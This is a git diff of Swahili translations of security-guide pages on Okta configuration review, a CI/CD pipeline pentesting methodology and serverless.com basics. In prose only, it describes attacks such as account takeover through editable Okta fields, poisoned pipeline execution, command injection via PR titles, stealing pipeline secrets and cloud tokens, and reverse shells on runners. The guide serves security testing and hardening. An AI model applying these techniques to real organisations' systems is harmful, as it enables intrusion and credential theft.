ikiwa ### Profile Editor -Hapa inawezekana kuona jinsi taarifa muhimu kama vile majina ya kwanza, majina ya mwisho, barua pepe, majina ya mtumiaji... zinavyoshirikiwa kati ya Okta na programu nyingine. Hii ni ya kuvutia kwa sababu ikiwa mtumiaji anaweza **kubadilisha katika Okta uwanja** (kama jina lake au barua pepe) ambayo kisha inatumika na **programu ya nje** ili **kutambua** mtumiaji, mtu wa ndani anaweza kujaribu **kuchukua akaunti nyingine**. +Hapa inawezekana kuona jinsi taarifa muhimu kama vile majina ya kwanza, majina ya mwisho, barua pepe, majina ya watumiaji... zinavyoshirikiwa kati ya Okta na programu nyingine. Hii ni ya kuvutia kwa sababu ikiwa mtumiaji anaweza **kubadilisha katika Okta uwanja** (kama jina lake au barua pepe) ambayo kisha inatumika na **programu ya nje** ili **kutambua** mtumiaji, mtu wa ndani anaweza kujaribu **kuchukua akaunti nyingine**. -Zaidi ya hayo, katika profaili **`User (default)`** kutoka Okta unaweza kuona **ni viwanja gani** kila **mtumiaji** ana na ni vipi **vinavyoweza kuandikwa** na watumiaji. Ikiwa huwezi kuona paneli ya admin, nenda tu **sasisha taarifa za profaili yako** na utaona ni viwanja gani unaweza kusasisha (kumbuka kuwa ili kusasisha anwani ya barua pepe utahitaji kuithibitisha). +Zaidi ya hayo, katika profaili **`User (default)`** kutoka Okta unaweza kuona **ni uwanja gani** kila **mtumiaji** ana na ni yupi ni **unaoweza kubadilishwa** na watumiaji. Ikiwa huwezi kuona paneli ya admin, nenda tu **sasisha taarifa yako ya profaili** na utaona ni uwanja gani unaweza kusasisha (kumbuka kuwa ili kusasisha anwani ya barua pepe utahitaji kuithibitisha). ### Directory Integrations Maktaba zinakuwezesha kuingiza watu kutoka vyanzo vilivyopo. Nadhani hapa utaona watumiaji waliingizwa kutoka maktaba nyingine. -Sijawahi kuona, lakini nadhani hii ni ya kuvutia kugundua **maktaba nyingine ambazo Okta inatumia kuingiza watumiaji** ili ikiwa **utavunja maktaba hiyo** unaweza kuweka baadhi ya thamani za sifa katika watumiaji walioundwa katika Okta na **labda kuathiri mazingira ya Okta**. +Sijawahi kuona, lakini nadhani hii ni ya kuvutia kugundua **maktaba nyingine ambazo Okta inatumia kuingiza watumiaji** ili ikiwa **utavunja maktaba hiyo** unaweza kuweka baadhi ya thamani za sifa katika watumiaji walioundwa katika Okta na **labda uvunje mazingira ya Okta**. ### Profile Sources Chanzo cha profaili ni **programu inayofanya kazi kama chanzo cha ukweli** kwa sifa za profaili za mtumiaji. Mtumiaji anaweza tu kutolewa na programu au maktaba moja kwa wakati mmoja. -Sijawahi kuona, hivyo taarifa yoyote kuhusu usalama na uhalifu kuhusu chaguo hili inathaminiwa. +Sijawahi kuona, hivyo taarifa yoyote kuhusu usalama na udukuzi kuhusu chaguo hili inathaminiwa. ## Customizations @@ -47,7 +47,7 @@ Sijawahi kuona, hivyo taarifa yoyote kuhusu usalama na uhalifu kuhusu chaguo hil Angalia katika tab ya **Domains** ya sehemu hii anwani za barua pepe zinazotumika kutuma barua pepe na jina la kikoa maalum ndani ya Okta la kampuni (ambalo huenda tayari unalijua). -Zaidi ya hayo, katika tab ya **Setting**, ikiwa wewe ni admin, unaweza "**Tumia ukurasa maalum wa kutoka**" na kuweka URL maalum. +Zaidi ya hayo, katika tab ya **Setting**, ikiwa wewe ni admin, unaweza "**Tumia ukurasa maalum wa kutolewa**" na kuweka URL maalum. ### SMS @@ -90,19 +90,19 @@ Sijawahi kuona ikitumika, lakini nadhani kutoka kwa mtazamo wa kujihami ni kipen - **Barua pepe za arifa za usalama**: Zote zinapaswa kuwezeshwa. - **Ushirikiano wa CAPTCHA**: Inapendekezwa kuweka angalau reCaptcha isiyoonekana - **Usalama wa Shirika**: Kila kitu kinaweza kuwezeshwa na barua pepe za uanzishaji hazipaswi kudumu kwa muda mrefu (siku 7 ni sawa) -- **Kuzuia kuhesabu watumiaji**: Zote zinapaswa kuwezeshwa -- Kumbuka kuwa Kuzuia Kuangalia Watumiaji hakutatumika ikiwa mojawapo ya masharti yafuatayo yanaruhusiwa (Tazama [Usimamizi wa watumiaji](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) kwa maelezo zaidi): +- **Kuzuia uainishaji wa watumiaji**: Zote zinapaswa kuwezeshwa +- Kumbuka kuwa Kuzuia Uainishaji wa Watumiaji hakutakuwa na athari ikiwa mojawapo ya hali zifuatazo zitaruhusiwa (Tazama [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) kwa maelezo zaidi): - Usajili wa Huduma ya Kibinafsi - Mchakato wa JIT na uthibitisho wa barua pepe - **Mipangilio ya Okta ThreatInsight**: Rekodi na enforce usalama kulingana na kiwango cha tishio ### HealthInsight -Hapa inawezekana kupata mipangilio **iliyowekwa** kwa usahihi na **hatari**. +Hapa inawezekana kupata mipangilio iliyowekwa kwa usahihi na **hatari**. ### Authenticators -Hapa unaweza kupata njia zote za uthibitishaji ambazo mtumiaji anaweza kutumia: Nenosiri, simu, barua pepe, nambari, WebAuthn... Bonyeza kwenye uthibitishaji wa Nenosiri unaweza kuona **sera ya nenosiri**. Hakikisha kuwa ni imara. +Hapa unaweza kupata njia zote za uthibitishaji ambazo mtumiaji anaweza kutumia: Nenosiri, simu, barua pepe, msimbo, WebAuthn... Ukibonyeza kwenye uthibitishaji wa Nenosiri unaweza kuona **sera ya nenosiri**. Hakikisha kuwa ni imara. Katika tab ya **Enrollment** unaweza kuona jinsi zile zinazohitajika au za hiari: @@ -114,21 +114,21 @@ Inapendekezwa kuzima Simu. Njia zenye nguvu zaidi ni pengine mchanganyiko wa nen Kila programu ina sera ya uthibitishaji. Sera ya uthibitishaji inathibitisha kuwa watumiaji wanaojaribu kuingia kwenye programu wanakidhi masharti maalum, na inatekeleza mahitaji ya vipengele kulingana na masharti hayo. -Hapa unaweza kupata **mahitaji ya kufikia kila programu**. Inapendekezwa kutaka angalau nenosiri na njia nyingine kwa kila programu. Lakini ikiwa kama mshambuliaji unapata kitu chochote dhaifu unaweza kuwa na uwezo wa kukishambulia. +Hapa unaweza kupata **mahitaji ya kufikia kila programu**. Inapendekezwa kuomba angalau nenosiri na njia nyingine kwa kila programu. Lakini ikiwa kama mshambuliaji unapata kitu dhaifu zaidi unaweza kuwa na uwezo wa kukishambulia. ### Global Session Policy -Hapa unaweza kupata sera za kikao zilizotengwa kwa makundi tofauti. Kwa mfano: +Hapa unaweza kupata sera za kikao zilizotolewa kwa makundi tofauti. Kwa mfano:
-Inapendekezwa kutaka MFA, kupunguza muda wa kikao kuwa masaa kadhaa, usihifadhi kuki za kikao kupitia nyongeza za kivinjari na kupunguza eneo na Mtoa Kitambulisho (ikiwa hii inawezekana). Kwa mfano, ikiwa kila mtumiaji anapaswa kuingia kutoka nchi fulani unaweza kuruhusu tu eneo hili. +Inapendekezwa kuomba MFA, kupunguza muda wa kikao kuwa masaa kadhaa, usiweke cookies za kikao katika nyongeza za kivinjari na upunguze eneo na Mtoa Kitambulisho (ikiwa hii inawezekana). Kwa mfano, ikiwa kila mtumiaji anapaswa kuingia kutoka nchi fulani unaweza kuruhusu tu eneo hili. ### Identity Providers -Watoa Kitambulisho (IdPs) ni huduma ambazo **zinatawala akaunti za watumiaji**. Kuongeza IdPs katika Okta kunawawezesha watumiaji wako wa mwisho **kujiandikisha wenyewe** na programu zako maalum kwa kuanza kuthibitisha na akaunti ya kijamii au kadi ya smart. +Mtoa Kitambulisho (IdPs) ni huduma ambazo **zinashughulikia akaunti za watumiaji**. Kuongeza IdPs katika Okta kunawawezesha watumiaji wako wa mwisho **kujiandikisha wenyewe** na programu zako maalum kwa kuanza kuthibitisha na akaunti ya kijamii au kadi ya smart. -Katika ukurasa wa Watoa Kitambulisho, unaweza kuongeza kuingia kwa kijamii (IdPs) na kuunda Okta kama mtoa huduma (SP) kwa kuongeza SAML ya ndani. Baada ya kuongeza IdPs, unaweza kuunda sheria za kuelekeza watumiaji kwa IdP kulingana na muktadha, kama vile eneo la mtumiaji, kifaa, au kikoa cha barua pepe. +Katika ukurasa wa Mtoa Kitambulisho, unaweza kuongeza logins za kijamii (IdPs) na kuunda Okta kama mtoa huduma (SP) kwa kuongeza SAML ya ndani. Baada ya kuongeza IdPs, unaweza kuweka sheria za kuelekeza watumiaji kwa IdP kulingana na muktadha, kama vile eneo la mtumiaji, kifaa, au kikoa cha barua pepe. **Ikiwa mtoa kitambulisho yeyote amewekwa** kutoka kwa mtazamo wa washambuliaji na walinzi angalia mipangilio hiyo na **ikiwa chanzo ni cha kuaminika kweli** kwani mshambuliaji anayevunja inaweza pia kupata ufikiaji wa mazingira ya Okta. @@ -136,11 +136,11 @@ Katika ukurasa wa Watoa Kitambulisho, unaweza kuongeza kuingia kwa kijamii (IdPs Uthibitishaji wa wakala unaruhusu watumiaji kuingia katika Okta kwa kuingiza taarifa za kuingia za **Active Directory (AD) au LDAP** ya shirika lao. -Tena, angalia hii, kwani mshambuliaji anayevunja AD ya shirika anaweza kuwa na uwezo wa kuhamasisha Okta kutokana na mipangilio hii. +Tena, angalia hii, kwani mshambuliaji anayevunja AD ya shirika anaweza kuwa na uwezo wa kuhamasisha Okta kwa sababu ya mipangilio hii. ### Network -Eneo la mtandao ni mpaka unaoweza kubadilishwa ambao unaweza kutumia ili **kutoa au kupunguza ufikiaji wa kompyuta na vifaa** katika shirika lako kulingana na **anwani ya IP** inayotafuta ufikiaji. Unaweza kufafanua eneo la mtandao kwa kubainisha moja au zaidi ya anwani za IP, anuwai za anwani za IP, au maeneo ya kijiografia. +Eneo la mtandao ni mpaka unaoweza kubadilisha ambao unaweza kutumia ili **kutoa au kupunguza ufikiaji wa kompyuta na vifaa** katika shirika lako kulingana na **anwani ya IP** inayotafuta ufikiaji. Unaweza kufafanua eneo la mtandao kwa kubainisha moja au zaidi ya anwani za IP, anuwai za anwani za IP, au maeneo ya kijiografia. Baada ya kufafanua moja au zaidi ya maeneo ya mtandao, unaweza **kuvitumia katika Sera za Kikao za Kimataifa**, **sera za uthibitishaji**, arifa za VPN, na **sheria za kuelekeza**. @@ -154,19 +154,19 @@ Kutoka kwa mtazamo wa washambuliaji ni ya kuvutia kujua ni IP zipi zinazoruhusiw ### API -Unaweza kuunda token za API za Okta katika ukurasa huu, na kuona zile ambazo zime **undwa**, **mamlaka** zao, muda wa **kuisha** na **URLs za Chanzo**. Kumbuka kuwa token za API zinaundwa kwa ruhusa za mtumiaji aliyekuwa ameunda token hiyo na ni halali tu ikiwa **mtumiaji** aliyekuwa ameunda ni **hai**. +Unaweza kuunda token za Okta API katika ukurasa huu, na kuona zile ambazo zime **undwa**, **mamlaka** zao, muda wa **kuisha** na **URLs za Chanzo**. Kumbuka kuwa token za API zinaundwa kwa ruhusa za mtumiaji aliyekuwa ameunda token hiyo na ni halali tu ikiwa **mtumiaji** aliyekuwa ameunda ni **hai**. **Vyanzo vya Kuaminika** vinatoa ufikiaji kwa tovuti ambazo unadhibiti na kuamini ili kufikia shirika lako la Okta kupitia API ya Okta. -Hakupaswi kuwa na token nyingi za API, kwani ikiwa kuna mshambuliaji anaweza kujaribu kuzipata na kuzitumia. +Hakupaswi kuwa na token nyingi za API, kwani ikiwa zipo mshambuliaji anaweza kujaribu kuzifikia na kuzitumia. ## Workflow ### Automations -Automations zinakuwezesha kuunda vitendo vya kiotomatiki vinavyofanyika kulingana na seti ya masharti ya kichocheo yanayotokea wakati wa mzunguko wa maisha wa watumiaji wa mwisho. +Automations zinakuwezesha kuunda vitendo vya kiotomatiki vinavyofanyika kulingana na seti ya masharti ya kichocheo yanayotokea wakati wa mzunguko wa maisha ya watumiaji wa mwisho. -Kwa mfano, hali inaweza kuwa "Kutokuwepo kwa mtumiaji katika Okta" au "Kuisha kwa nenosiri la mtumiaji katika Okta" na kitendo kinaweza kuwa "Tuma barua pepe kwa mtumiaji" au "Badilisha hali ya maisha ya mtumiaji katika Okta". +Kwa mfano hali inaweza kuwa "Kutokuwepo kwa mtumiaji katika Okta" au "Kuisha kwa nenosiri la mtumiaji katika Okta" na kitendo kinaweza kuwa "Tuma barua pepe kwa mtumiaji" au "Badilisha hali ya maisha ya mtumiaji katika Okta". ## Reports @@ -180,7 +180,7 @@ Hapa unaweza kupata **kumbukumbu za vitendo vilivyofanywa na watumiaji** kwa mae ### Import Monitoring -Hii inaweza **kuingiza kumbukumbu kutoka kwa majukwaa mengine** yaliyofikiwa na Okta. +Hii inaweza **kuingiza kumbukumbu kutoka majukwaa mengine** yaliyofikiwa na Okta. ### Rate limits @@ -190,7 +190,7 @@ Angalia mipaka ya kiwango cha API iliyofikiwa. ### Account -Hapa unaweza kupata **taarifa za jumla** kuhusu mazingira ya Okta, kama vile jina la kampuni, anwani, **mwanakandarasi wa bili ya barua pepe**, **mwanakandarasi wa kiufundi wa barua pepe** na pia ni nani anapaswa kupokea masasisho ya Okta na ni aina gani ya masasisho ya Okta. +Hapa unaweza kupata **taarifa za jumla** kuhusu mazingira ya Okta, kama vile jina la kampuni, anwani, **mwanakandarasi wa barua pepe**, **mwanakandarasi wa kiufundi wa barua pepe** na pia ni nani anapaswa kupokea masasisho ya Okta na ni aina gani ya masasisho ya Okta. ### Downloads diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index ac7b2c8e0..17a8a90e2 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,7 +6,7 @@ ## VCS -VCS inamaanisha **Mfumo wa Kudhibiti Toleo**, mifumo hii inaruhusu waendelezaji **kusimamia msimbo wao wa chanzo**. Mmoja wa kawaida ni **git** na kawaida utaona kampuni zikilitumia katika moja ya **majukwaa** yafuatayo: +VCS inamaanisha **Version Control System**, hizi mifumo inawawezesha waendelezaji **kusimamia msimbo wao wa chanzo**. Mmoja wa kawaida ni **git** na kawaida utaona kampuni zikilitumia katika moja ya **majukwaa** yafuatayo: - Github - Gitlab @@ -16,7 +16,7 @@ VCS inamaanisha **Mfumo wa Kudhibiti Toleo**, mifumo hii inaruhusu waendelezaji ## CI/CD Pipelines -Pipelines za CI/CD zinawawezesha waendelezaji **kujiandaa kutekeleza msimbo** kwa madhumuni mbalimbali, ikiwa ni pamoja na kujenga, kujaribu, na kupeleka programu. Mifumo hii ya kiotomatiki **inasababishwa na vitendo maalum**, kama vile kusukuma msimbo, maombi ya kuvuta, au kazi zilizopangwa. Zinasaidia katika kuboresha mchakato kutoka kwa maendeleo hadi uzalishaji. +CI/CD pipelines zinawawezesha waendelezaji **kujiandaa kutekeleza msimbo** kwa madhumuni mbalimbali, ikiwa ni pamoja na kujenga, kujaribu, na kupeleka programu. Mifumo hii ya kiotomatiki inachochewa na **vitendo maalum**, kama vile kusukuma msimbo, maombi ya kuvuta, au kazi zilizopangwa. Zinasaidia katika kuboresha mchakato kutoka kwa maendeleo hadi uzalishaji. Hata hivyo, mifumo hii inahitaji **kutekelezwa mahali fulani** na kawaida kwa **akidi za kibali ili kupeleka msimbo au kufikia taarifa nyeti**. @@ -25,17 +25,17 @@ Hata hivyo, mifumo hii inahitaji **kutekelezwa mahali fulani** na kawaida kwa ** > [!NOTE] > Hata kama baadhi ya majukwaa ya VCS yanaruhusu kuunda pipelines kwa sehemu hii tutachambua tu mashambulizi yanayoweza kutokea kwenye udhibiti wa msimbo wa chanzo. -Majukwaa yanayoshikilia msimbo wa mradi wako yana taarifa nyeti na watu wanahitaji kuwa makini sana na ruhusa zinazotolewa ndani ya jukwaa hili. Haya ni baadhi ya matatizo ya kawaida katika majukwaa ya VCS ambayo mshambuliaji anaweza kuyatumia: +Majukwaa yanayoshikilia msimbo wa mradi wako yana taarifa nyeti na watu wanahitaji kuwa makini sana na ruhusa zinazotolewa ndani ya jukwaa hili. Haya ni baadhi ya matatizo ya kawaida katika majukwaa ya VCS ambayo mshambuliaji anaweza kutumia: - **Leaks**: Ikiwa msimbo wako una leaks katika commits na mshambuliaji anaweza kufikia repo (kwa sababu ni ya umma au kwa sababu ana ufikiaji), anaweza kugundua leaks. - **Access**: Ikiwa mshambuliaji anaweza **kufikia akaunti ndani ya jukwaa la VCS** anaweza kupata **nadharia zaidi na ruhusa**. - **Register**: Baadhi ya majukwaa yataruhusu tu watumiaji wa nje kuunda akaunti. - **SSO**: Baadhi ya majukwaa hayataruhusu watumiaji kujiandikisha, lakini yataruhusu mtu yeyote kufikia kwa SSO halali (hivyo mshambuliaji anaweza kutumia akaunti yake ya github kuingia kwa mfano). - **Credentials**: Jina la mtumiaji + Pwd, alama za kibinafsi, funguo za ssh, alama za Oauth, cookies... kuna aina kadhaa za alama ambazo mtumiaji anaweza kuiba ili kufikia kwa njia fulani repo. -- **Webhooks**: Majukwaa ya VCS yanaruhusu kuunda webhooks. Ikiwa hazijalindwa na siri zisizoonekana, **mshambuliaji anaweza kuzitumia vibaya**. -- Ikiwa hakuna siri iliyowekwa, mshambuliaji anaweza kuzitumia vibaya webhook ya jukwaa la tatu +- **Webhooks**: Majukwaa ya VCS yanaruhusu kuunda webhooks. Ikiwa hazijalindwa na siri zisizoonekana mshambuliaji anaweza **kuzitumia vibaya**. +- Ikiwa hakuna siri iliyowekwa, mshambuliaji anaweza kutumia vibaya webhook ya jukwaa la tatu - Ikiwa siri iko katika URL, jambo hilo linaweza kutokea na mshambuliaji pia ana siri hiyo -- **Code compromise:** Ikiwa mhusika mbaya ana aina fulani ya **kuandika** ufikiaji juu ya repos, anaweza kujaribu **kuiingiza msimbo mbaya**. Ili kufanikiwa anaweza kuhitaji **kuzidi ulinzi wa tawi**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti akilini: +- **Code compromise:** Ikiwa mhusika mbaya ana aina fulani ya **kuandika** ufikiaji juu ya repos, anaweza kujaribu **kuingiza msimbo mbaya**. Ili kufanikiwa anaweza kuhitaji **kuzidi ulinzi wa tawi**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti: - Kuathiri tawi kuu ili **kuathiri uzalishaji**. - Kuathiri tawi kuu (au matawi mengine) ili **kuathiri mashine za waendelezaji** (kama kawaida wanatekeleza majaribio, terraform au mambo mengine ndani ya repo kwenye mashine zao). - **Kuathiri pipeline** (angalia sehemu inayofuata) @@ -43,39 +43,39 @@ Majukwaa yanayoshikilia msimbo wa mradi wako yana taarifa nyeti na watu wanahita ## Pipelines Pentesting Methodology Njia ya kawaida zaidi ya kufafanua pipeline, ni kwa kutumia **faili ya usanidi wa CI iliyohifadhiwa katika hazina** ambayo pipeline inajenga. Faili hii inaelezea mpangilio wa kazi zinazotekelezwa, masharti yanayoathiri mtiririko, na mipangilio ya mazingira ya kujenga.\ -Faili hizi kwa kawaida zina jina na muundo wa kawaida, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na faili za YAML za GitHub Actions zilizo chini ya .github/workflows. Wakati inasababishwa, kazi ya pipeline **inasukuma msimbo** kutoka chanzo kilichochaguliwa (k.m. commit / branch), na **inaendesha amri zilizotajwa katika faili ya usanidi wa CI** dhidi ya msimbo huo. +Faili hizi kwa kawaida zina jina na muundo wa kawaida, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na faili za YAML za GitHub Actions zilizo chini ya .github/workflows. Wakati inachochewa, kazi ya pipeline **inavuta msimbo** kutoka chanzo kilichochaguliwa (k.m. commit / branch), na **inaendesha amri zilizotajwa katika faili ya usanidi wa CI** dhidi ya msimbo huo. -Kwa hivyo lengo kuu la mshambuliaji ni kwa namna fulani **kuathiri faili hizo za usanidi** au **amri wanazotekeleza**. +Hivyo lengo kuu la mshambuliaji ni kwa namna fulani **kuathiri faili hizo za usanidi** au **amri wanazotekeleza**. ### PPE - Poisoned Pipeline Execution -Njia ya Poisoned Pipeline Execution (PPE) inatumia ruhusa katika hazina ya SCM ili manipulative pipeline ya CI na kutekeleza amri hatari. Watumiaji wenye ruhusa zinazohitajika wanaweza kubadilisha faili za usanidi wa CI au faili nyingine zinazotumiwa na kazi ya pipeline ili kujumuisha amri mbaya. Hii "ina sumu" pipeline ya CI, ikisababisha kutekelezwa kwa amri hizi mbaya. +Njia ya Poisoned Pipeline Execution (PPE) inatumia ruhusa katika hazina ya SCM ili manipulative pipeline ya CI na kutekeleza amri hatari. Watumiaji wenye ruhusa zinazohitajika wanaweza kubadilisha faili za usanidi wa CI au faili nyingine zinazotumiwa na kazi ya pipeline ili kujumuisha amri mbaya. Hii "inasababisha sumu" pipeline ya CI, ikisababisha kutekelezwa kwa amri hizi mbaya. Ili mhusika mbaya afanikiwe kufanya shambulio la PPE anahitaji kuwa na uwezo wa: -- Kuwa na **ufikiaji wa kuandika kwenye jukwaa la VCS**, kwani kawaida pipelines husababishwa wakati kusukuma au ombi la kuvuta linafanywa. (Angalia mbinu za pentesting za VCS kwa muhtasari wa njia za kupata ufikiaji). +- Kuwa na **ufikiaji wa kuandika kwenye jukwaa la VCS**, kwani kawaida pipelines zinachochewa wakati kusukuma au ombi la kuvuta linafanywa. (Angalia metodolojia ya pentesting ya VCS kwa muhtasari wa njia za kupata ufikiaji). - Kumbuka kwamba wakati mwingine **PR ya nje inachukuliwa kama "ufikiaji wa kuandika"**. - Hata kama ana ruhusa za kuandika, anahitaji kuwa na uhakika anaweza **kubadilisha faili ya usanidi wa CI au faili nyingine ambazo usanidi unategemea**. - Kwa hili, anaweza kuhitaji kuwa na uwezo wa **kuzidi ulinzi wa tawi**. Kuna ladha 3 za PPE: -- **D-PPE**: Shambulio la **Direct PPE** linatokea wakati mhusika **anabadilisha faili ya usanidi wa CI** ambayo itatekelezwa. -- **I-DDE**: Shambulio la **Indirect PPE** linatokea wakati mhusika **anabadilisha** **faili** ambayo faili ya usanidi wa CI ambayo itatekelezwa **inategemea** (kama faili ya kutengeneza au usanidi wa terraform). -- **Public PPE au 3PE**: Katika baadhi ya matukio pipelines zinaweza **kusababishwa na watumiaji ambao hawana ufikiaji wa kuandika katika repo** (na ambao huenda hata si sehemu ya shirika) kwa sababu wanaweza kutuma PR. -- **3PE Command Injection**: Kawaida, pipelines za CI/CD zitakuwa **kuziseti mazingira ya mabadiliko** na **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na mshambuliaji (kama kichwa cha PR) na inatumika katika **mahali hatari** (kama kutekeleza **amri za sh**), mshambuliaji anaweza **kuingiza amri hapo**. +- **D-PPE**: Shambulio la **Direct PPE** linatokea wakati mhusika anapobadilisha faili ya usanidi wa CI ambayo itatekelezwa. +- **I-DDE**: Shambulio la **Indirect PPE** linatokea wakati mhusika anapobadilisha **faili** ambayo faili ya usanidi wa CI ambayo itatekelezwa **inategemea** (kama faili ya kutengeneza au usanidi wa terraform). +- **Public PPE au 3PE**: Katika baadhi ya matukio pipelines zinaweza **kuchochewa na watumiaji ambao hawana ufikiaji wa kuandika katika repo** (na ambao huenda hata si sehemu ya shirika) kwa sababu wanaweza kutuma PR. +- **3PE Command Injection**: Kawaida, pipelines za CI/CD zitakuwa **kweka mabadiliko ya mazingira** na **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na mshambuliaji (kama kichwa cha PR) na inatumika katika **mahali hatari** (kama kutekeleza **amri za sh**), mshambuliaji anaweza **kuingiza amri hapo**. ### Exploitation Benefits -Kujua ladha 3 za kuathiri pipeline, hebu tuangalie ni nini mshambuliaji anaweza kupata baada ya uhalifu wa mafanikio: +Kujua ladha 3 za sumu pipeline, hebu tuangalie ni nini mshambuliaji anaweza kupata baada ya uhalifu wa mafanikio: -- **Secrets**: Kama ilivyotajwa hapo awali, pipelines zinahitaji **privileges** kwa kazi zao (kurejesha msimbo, kuujenga, kupeleka...) na ruhusa hizi kwa kawaida **zinatolewa katika siri**. Siri hizi kwa kawaida zinapatikana kupitia **mabadiliko ya mazingira au faili ndani ya mfumo**. Kwa hivyo mshambuliaji daima atajaribu kuhamasisha siri nyingi kadri iwezekanavyo. -- Kulingana na jukwaa la pipeline mshambuliaji **anaweza kuhitaji kutaja siri katika usanidi**. Hii inamaanisha kwamba ikiwa mshambuliaji cannot kubadilisha usanidi wa pipeline ya CI (**I-PPE** kwa mfano), anaweza **tu kuhamasisha siri ambazo pipeline hiyo ina**. -- **Computation**: Msimbo unatekelezwa mahali fulani, kulingana na mahali unatekelezwa mshambuliaji anaweza kuwa na uwezo wa pivot zaidi. -- **On-Premises**: Ikiwa pipelines zinafanywa kwenye premises, mshambuliaji anaweza kumaliza katika **mtandao wa ndani wenye ufikiaji wa rasilimali zaidi**. +- **Secrets**: Kama ilivyotajwa hapo awali, pipelines zinahitaji **privileges** kwa kazi zao (kurejesha msimbo, kuujenga, kupeleka...) na ruhusa hizi kwa kawaida **zinatolewa katika siri**. Siri hizi kwa kawaida zinapatikana kupitia **mabadiliko ya mazingira au faili ndani ya mfumo**. Hivyo mshambuliaji daima atajaribu kuhamasisha siri nyingi kadri inavyowezekana. +- Kulingana na jukwaa la pipeline mshambuliaji **anaweza kuhitaji kutaja siri katika usanidi**. Hii inamaanisha kwamba ikiwa mshambuliaji hawezi kubadilisha pipeline ya usanidi wa CI (**I-PPE** kwa mfano), anaweza **tu kuhamasisha siri ambazo pipeline hiyo ina**. +- **Computation**: Msimbo unatekelezwa mahali fulani, kulingana na mahali unatekelezwa mshambuliaji anaweza kuwa na uwezo wa kuhamasisha zaidi. +- **On-Premises**: Ikiwa pipelines zinatekelezwa kwenye premises, mshambuliaji anaweza kuishia katika **mtandao wa ndani wenye ufikiaji wa rasilimali zaidi**. - **Cloud**: Mshambuliaji anaweza kufikia **mashine nyingine katika wingu** lakini pia anaweza **kuhamasisha** alama za IAM/akaunti za huduma **tokens** kutoka kwake ili kupata **ufikiaji zaidi ndani ya wingu**. -- **Platforms machine**: Wakati mwingine kazi zitatekelezwa ndani ya **mashine za jukwaa la pipelines**, ambazo kawaida ziko ndani ya wingu bila **ufikiaji zaidi**. -- **Select it:** Wakati mwingine **jukwaa la pipelines litakuwa limepanga mashine kadhaa** na ikiwa unaweza **kubadilisha faili ya usanidi wa CI** unaweza **kuonyesha wapi unataka kutekeleza msimbo mbaya**. Katika hali hii, mshambuliaji labda atatekeleza shell ya kurudi kwenye kila mashine inayowezekana kujaribu kuifanyia kazi zaidi. +- **Platforms machine**: Wakati mwingine kazi zitatekelezwa ndani ya **mashine za jukwaa la pipelines**, ambazo kwa kawaida ziko ndani ya wingu bila **ufikiaji zaidi**. +- **Select it:** Wakati mwingine **jukwaa la pipelines litakuwa limepanga mashine kadhaa** na ikiwa unaweza **kubadilisha faili ya usanidi wa CI** unaweza **kuashiria wapi unataka kutekeleza msimbo mbaya**. Katika hali hii, mshambuliaji labda atakimbia shell ya kurudi kwenye kila mashine inayowezekana kujaribu kuifanyia kazi zaidi. - **Compromise production**: Ikiwa uko ndani ya pipeline na toleo la mwisho linajengwa na kupelekwa kutoka kwake, unaweza **kuathiri msimbo ambao utaishia kutekelezwa katika uzalishaji**. ## More relevant info @@ -90,7 +90,7 @@ Angalia makala hii ya kuvutia kuhusu hatari 10 bora za CI/CD kulingana na Cider: ### Labs -- Kwenye kila jukwaa ambalo unaweza kukimbia kwa ndani utapata jinsi ya kulizindua ndani ili uweze kulipanga kama unavyotaka kulijaribu +- Kwenye kila jukwaa ambalo unaweza kukimbia kwa ndani utaona jinsi ya kulizindua ndani ili uweze kulipanga kama unavyotaka kulijaribu - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index 181687cb4..a22dbe499 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -34,7 +34,7 @@ handler: handler.hello A **Function** inawakilisha kazi moja isiyo na seva, kama kazi ya AWS Lambda. Inajumuisha msimbo unaotekelezwa kama jibu kwa matukio. -Imeainishwa chini ya sehemu ya `functions` katika `serverless.yml`, ikitaja mpangilio, mazingira ya utekelezaji, matukio, mabadiliko ya mazingira, na mipangilio mingine. +Imeainishwa chini ya sehemu ya `functions` katika `serverless.yml`, ikitaja mpangilio, muda wa utekelezaji, matukio, vigezo vya mazingira, na mipangilio mingine. ```yaml functions: hello: @@ -50,7 +50,7 @@ method: get Event -**Matukio** ni vichocheo vinavyosababisha kazi zako zisizo na seva. Vinabainisha jinsi na lini kazi inapaswa kutekelezwa. +**Matukio** ni vichocheo vinavyosababisha kazi zako zisizo na seva. Vinabainisha jinsi na wakati kazi inapaswa kutekelezwa. Aina za matukio za kawaida ni pamoja na maombi ya HTTP, matukio ya ratiba (kazi za cron), matukio ya hifadhidata, upakuaji wa faili, na mengineyo. ```yaml @@ -96,9 +96,9 @@ WriteCapacityUnits: 1 Mtoa huduma -The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. +Obje **Mtoa huduma** inaelezea mtoa huduma wa huduma za wingu (kwa mfano, AWS, Azure, Google Cloud) na ina mipangilio ya usanidi inayohusiana na mtoa huduma huyo. -Inajumuisha maelezo kama vile runtime, eneo, hatua, na akreditivu. +Inajumuisha maelezo kama vile muda wa utekelezaji, eneo, hatua, na ithibati. ```yaml yamlCopy codeprovider: name: aws @@ -112,12 +112,12 @@ stage: dev Hatua na Eneo -Hatua inawakilisha mazingira tofauti (kwa mfano, maendeleo, uanzishaji, uzalishaji) ambapo huduma yako inaweza kuwekwa. Inaruhusu usanidi na uwekaji wa mazingira maalum. +Hatua inawakilisha mazingira tofauti 